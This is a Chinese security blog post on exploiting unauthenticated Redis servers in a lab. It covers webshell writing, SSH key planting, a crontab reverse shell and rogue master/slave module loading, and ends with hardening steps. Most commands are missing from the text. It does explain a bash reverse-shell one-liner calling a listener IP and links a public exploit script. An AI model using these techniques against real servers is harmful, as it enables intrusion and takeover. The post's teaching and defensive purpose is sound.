redis未授权访问之利用

匆匆过客 提交于 2020-11-02 14:54:08

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Jadore

扫描下方二维码进入社区

redis简介

Remote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

redis未授权访问产生原因

Redis 若因配置不当存在未授权访问漏洞,则攻击者可进行恶意利用。当以 root 身份运行时,可以通过root 写入 SSH 公钥文件,直接通过 SSH (默认端口22)登录,从而获取服务器权限。

redis利用场景1:webshell写入

条件:有web服务,知道路径,具有增删改查权限

首先使用redis客户端直接无账号登录redis:

这里假设路径为/home/jadore,可以执行如下命令写入webshell:

靶机上可以看到

edis利用场景2:公私钥免密认证登录SSH

条件:redis以root身份运行

首先我们可以生产一个密钥对,密码为空,命令如下:

将生成的公钥保存到test.txt,命令如下:

将保存下来的公钥文件写入靶机redis,命令如下:

登录靶机redis,获取redis备份路径:

更改备份路径:

将公钥的名称改为authorized_keys:

看看是否更改成功:

进行ssh免密登录:

结果

redis利用场景3:反弹shell

通过Linux的计划任务管理crontab来设置计划任务反弹shell

首先建立连接监听

连接redis反弹shell

tip:bash一句话命令详解:

bash -i 表示来产生一个bash交互环境

>& 表示将联合符号前面的内容与后面的内容向结合后再重定向给后者

/dev/tcp/192.168.222.132/1234 表示让主机与目标主机产生一个TCP连接

0>&1 将标准的输入与标准的输出内容相结合,然后重定向给前面标准输出的内容

redis利用场景4:远程代码执行

条件:Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

master/slave模式:主从设备模式,将一个原始任务分解为若干个语义等同的子任务,并由专门的工作者线程来并行执行这些任务,原始任务的结果通过整合各个子任务的处理结果来产生。

redis server支持以下两种命令:

1.明文(使用空格来分割)

如:SET keyname value\n

2、原码

如:*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n

其中*3表示参数个数$3表示参数的长度SET表示参数要设置的值

攻击流程:

1、子设备向主设备发起连接请求

2、子设备尝试进行部分或完全同步

3、主设备通过向子设备发送一组命令来保持子设备的更新,以便复制任何更改主设备上数据集的操作。

EXP:https://github.com/vulhub/redis-rogue-getshell/blob/master/redis-master.py

修复方案

1、在 redis.conf 文件中找到# bind 127.0.0.1,将前面的 # 去掉,然后保存。

也可以指定访问源 IP 来访问 Redis。

bind 192.168.1.100 10.0.0.1

2、通过 iptables 策略,仅允许指定的 IP 来访问 Redis 服务:

iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

3、设置访问密码

在 redis.conf 中找到 requirepass 字段,去掉其注释,并在后面填上需要的密码。Redis 客户端也需要使用此密码来访问 Redis 服务。

requirepass 密码

4、权限最小化

以较低权限账号运行 Redis 服务,并禁用该账号的登录权限:

useradd -M -s /sbin/nologin [username]

5、升级redis到最新版

通知!

公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

记得扫码

关注我们

本文分享自微信公众号 - 字节脉搏实验室(zijiemaiboshiyanshi)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!